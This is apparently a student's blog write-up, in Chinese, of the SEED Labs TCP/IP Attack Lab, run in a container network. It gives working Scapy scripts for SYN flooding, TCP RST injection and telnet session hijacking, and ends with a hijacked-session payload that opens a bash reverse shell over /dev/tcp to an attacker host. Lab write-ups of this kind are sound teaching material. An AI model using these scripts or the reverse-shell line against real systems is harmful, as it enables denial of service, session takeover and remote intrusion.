Quiet
  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT

Ram

  • HOME
  • ARCHIVE
  • CATEGORIES
  • TAGS
  • LINKS
  • ABOUT
Quiet主题
  • 网络安全

TCP/IP Attack Lab

Ram
SeedLabs2.0

2025-11-19 14:55:42

文章目录
  1. TCP/IP Attack Lab
    1. Task 1: SYN Flooding Attack
      1. Task 1.1: Launching the Attack Using Python
      2. Task 1.2: Launch the Attack Using C
      3. Task 1.3: Enable the SYN Cookie Countermeasure
    2. Task 2: TCP RST Attacks on telnet Connections
    3. Task 3: TCP Session Hijacking
    4. Task 4: Creating Reverse Shell using TCP Session Hijacking
    5. 总结

TCP/IP Attack Lab

本次实验的环境如图所示。

image-20251119091706714

记得去删除之前实验创建的container,不然会报错。

image-20251119095804869

实验中需要使用telnet来连接,container中已经构建创建好了一个名为seed账户,密码为dees。

Task 1: SYN Flooding Attack

这个攻击是通过伪造一些IP地址,来填满受害者主机的队列,使其无法与其他主机建立连接。

image-20251119132433602

可以通过sysctl net.ipv4.tcp_max_syn_backlog来查看大小。

也可以通过netstat -nat来查看队列的使用情况。

image-20251119101053113

SYN Cookie Countermeasure:针对这种攻击方式,系统通过SYN cookie来进行防护。在实验中,docker容器的防护都已经被关闭(可以通过docker-compose.yml查看)。同时还要将docker中的privileged设置为true,才能实现该控制,因为这个文件是一个只读文件。

image-20251119101346749

相关控制指令

sysctl -a | grep syncookies     (Display the SYN cookie flag)
sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
sysctl -w net.ipv4.tcp_syncookies=1 (turn on  SYN cookie)

可以通过下面的命令来查看受害者主机的队列情况

netstat -tna | grep SYN_RECV | wc -l
ss -n state syn-recv sport = :23 | wc -l

Task 1.1: Launching the Attack Using Python

python攻击代码

#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
    pkt[TCP].sport = getrandbits(16) # source port
    pkt[TCP].seq = getrandbits(32) # sequence number
    send(pkt, verbose = 0)

可以看见受害者主机多了很多连接状态。

image-20251119103329729

此时我试图通过telnet连接的时候,会卡住无法连接,最后导致失败。

image-20251119102802958

image-20251119103038350

一些问题

  1. 如果主机已经跟受害主机建立过TCP连接,那么就算在被遭受攻击,也能够成功连接。这是由于内核的缓解机制:当SYN Cookies功能被禁用时,TCP会为“已验证的目的地”预留四分之一的后备队列空间。因此后续来自该地址的连接将使用预留槽位,从而不受SYN洪水攻击影响。若需消除此缓解措施的效果,可在服务器端执行“ip tcp metrics flush”命令。
  2. TCP重传机制:发送SYN+ACK数据包后,受害主机将等待ACK数据包。若ACK未能及时到达,TCP将重传SYN+ACK数据包。重传次数取决于以下内核参数(默认值为5)。
    经过5次重传后,TCP将从半开连接队列中移除对应项。每次移除项都会释放一个槽位。攻击数据包与合法telnet连接请求将争夺此空位。由于Python程序运行速度可能不足,可能输给合法telnet数据包。为赢得竞争,可并行运行多个攻击程序实例。请尝试此方法并观察成功率是否提升。

Task 1.2: Launch the Attack Using C

效果跟task1.1类似。但是c语言更快,成功的概率更高。(代码由实验手册提供)

image-20251119105848660

Task 1.3: Enable the SYN Cookie Countermeasure

我可以打开syncookies防护,然后打开攻击,发现telnet能够连接上

image-20251119110830649

Task 2: TCP RST Attacks on telnet Connections

TCP RST攻击可终止两个受害者之间已建立的TCP连接。例如,当用户A与B之间存在已建立的telnet连接(TCP)时,攻击者可伪造从A发往B的RST数据包,从而破坏该现有连接。要使此攻击成功,攻击者需正确构造TCP RST数据包。

也可以实现自动化,首先监听报文,然后篡改。

#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
	tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
	pkt = ip/tcp
	ls(pkt)
	send(pkt, verbose=0)
	
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-6a333ca53e4c', filter=f, prn=spoof_pkt)

我用一个用户主机尝试连接10.9.0.5时,会被中断。

image-20251119115549744

Task 3: TCP Session Hijacking

TCP会话劫持攻击的目标是通过向现有TCP连接(会话)注入恶意内容,劫持两个受害者之间的通信通道。若该连接为Telnet会话,攻击者可向其中注入恶意指令(例如删除重要文件),迫使受害者执行这些指令。下图展示了攻击的运作机制。在本任务中,你需要演示如何劫持两台计算机间的telnet会话。你的目标是使telnet服务器执行你发送的恶意命令。

image-20251119120127610

构建了代码,如果监听到10.9.0.5发送的报文则,返回一个伪造的报文。

#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
	ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
	tcp = TCP(sport=pkt[TCP].dport, dport=23,
              flags="A",
              seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
	data = "echo \"ლ(́◕◞౪◟◕‵ლ)\" >> ~/hijacking.out\n\0"
	pkt = ip/tcp/data
	ls(pkt)
	send(pkt, verbose=0)
	
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-b10103161082', filter=f, prn=spoof_pkt)

首先10.9.0.6连接到10.9.0.5,然后运行该程序

image-20251119171005354

telnet连接卡死,同时发现多了一个hijacking文件

image-20251119171139802

Task 4: Creating Reverse Shell using TCP Session Hijacking

在task3的基础上,只需要修改data段即可。获取反向shell的命令如下。

data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0"

image-20251119173034349

总结

通过这个实验学习到了TCP SYN Flooding攻击、TCP RST攻击和TCP Session Hijacking。三种攻击方式的原理都比较简单,通过scapy构建报文也不算难。

上一篇

moectf-2025-pwn

下一篇

Packet Sniffing and Spoofing Lab

©2026 By Ram. 主题:Quiet
Quiet主题